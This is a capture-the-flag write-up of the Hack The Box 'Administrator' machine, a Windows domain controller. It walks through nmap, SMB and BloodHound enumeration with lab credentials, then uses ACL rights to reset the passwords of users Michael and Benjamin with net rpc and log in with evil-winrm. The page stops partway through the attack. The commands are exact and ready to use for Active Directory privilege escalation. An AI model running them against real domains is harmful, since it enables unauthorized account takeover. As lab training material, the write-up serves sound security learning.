> For the complete documentation index, see [llms.txt](https://0xzoro.gitbook.io/0xzoro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xzoro.gitbook.io/0xzoro/htb/htb-writeups/administrator.md).

# Administrator

{% embed url="<https://app.hackthebox.com/machines/Administrator?sort_by=created_at&sort_type=desc>" %}

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FniuDt1VfTtDalWkuyvgl%2Fimage.png?alt=media&amp;token=2c5586d6-ac22-4608-96b7-8ac8d61e82cb" alt=""><figcaption></figcaption></figure>

## NMAP Scan

First, we started with nmap scan using the following command&#x20;

```
nmap -sC -sV -A -oN nmap_scan 10.129.19.162
```

and we got the following output&#x20;

```
# Nmap 7.95 scan initiated Sun Apr 12 09:12:34 2026 as: /usr/lib/nmap/nmap -sC -sV -A -oN nmap_scan 10.129.19.162
Nmap scan report for 10.129.19.162
Host is up (0.19s latency).
Not shown: 987 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-12 20:12:51Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=4/12%OT=21%CT=1%CU=33889%PV=Y%DS=2%DC=T%G=Y%TM=69DB9A8
OS:4%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10D%TI=RD%CI=RI%TS=B)SEQ(SP
OS:=104%GCD=1%ISR=107%TI=RD%CI=RI%II=I%TS=A)SEQ(SP=107%GCD=1%ISR=10E%TI=I%C
OS:I=I%TS=B)SEQ(SP=109%GCD=1%ISR=109%TI=I%CI=RI%II=I%SS=S%TS=A)SEQ(SP=F6%GC
OS:D=1%ISR=108%TI=I%CI=I%II=I%SS=S%TS=A)OPS(O1=M542NW8ST11%O2=M542NW8ST11%O
OS:3=M542NW8NNT11%O4=M542NW8ST11%O5=M542NW8ST11%O6=M542ST11)WIN(W1=FFFF%W2=
OS:FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFDC)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M542NW8N
OS:NS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N
OS:%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%C
OS:D=Z)

Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 6h59m59s
| smb2-time: 
|   date: 2026-04-12T20:13:29
|_  start_date: N/A

TRACEROUTE (using port 587/tcp)
HOP RTT       ADDRESS
1   161.09 ms 10.10.16.1
2   229.37 ms 10.129.19.162

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr 12 09:13:40 2026 -- 1 IP address (1 host up) scanned in 65.90 seconds
```

it is clear windows machine which running the usual services kerberos, LDAP, SMB, DNS, and also FTP&#x20;

we will start enumerating each service till we can get any extra information that helps us exploiting the machine&#x20;

but be noticed that HTB already provided us with the following creds

As is common in real life Windows pentests, you will start the Administrator box with credentials for the following account: Username: Olivia Password: ichliebedich

### SMB Enum

so i will use these creds to enumerate the SMB&#x20;

```
smbmap -H 10.129.19.162 -u 'olivia' -p 'ichliebedich' -d administrator.htb
```

which gave me the following results&#x20;

```
[+] IP: 10.129.19.162:445       Name: administrator.htb         Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share 
        SYSVOL                                                  READ ONLY       Logon server share 
```

i will next download everything from SYSVOL on my local kali machine

```
smbclient \\\\10.129.19.162\\SYSVOL -U 'administrator.htb/olivia%ichliebedich' -c 'prompt OFF; recurse ON; mget *'
```

But to review this will take time and there is nothing critical to be found&#x20;

### Bloodhound

so we sill use bloodhound to enumerate all Users, Groups, ACLs, etc&#x20;

```
bloodhound-python -u 'olivia' -p 'ichliebedich' -ns 10.129.19.162 -d administrator.htb -c All
```

after uploading the files to bloodhound we can see the following&#x20;

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FY7IONhjyvw4rJ9H5BQGY%2Fimage.png?alt=media&amp;token=9ac8add7-0889-4a08-bcf1-1f4dea3aa955" alt=""><figcaption></figcaption></figure>

now we can see that we have `GenericAll`  rights over the user <MICHAEL@ADMINISTRATOR.HTB>

let's see how can we use them&#x20;

## Attacking ACLs

## Reset Michael's password

we can do a password reset for the user Michael&#x20;

```
net rpc password michael -U administrator.htb/olivia%ichliebedich -S 10.129.19.162 -W administrator.htb
```

now we can access the machine via evil-winrm with the new password

```
evil-winrm -i 10.129.19.162 -u michael -p 'zorosec'
```

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2Faz4bdbtvBqYVqWIETKRv%2Fimage.png?alt=media&amp;token=d51d2ea9-7718-459b-8eb9-dc3eff35d342" alt=""><figcaption></figcaption></figure>

### Reset benjamin's password

After we did PWN the user michael we can see that the user michael  have ForceChangePassword on the user <BENJAMIN@ADMINISTRATOR.HTB> so we will repeat the last step

```
net rpc password benjamin -U administrator.htb/michael%zorosec -S 10.129.19.162 -W administrator.htb
```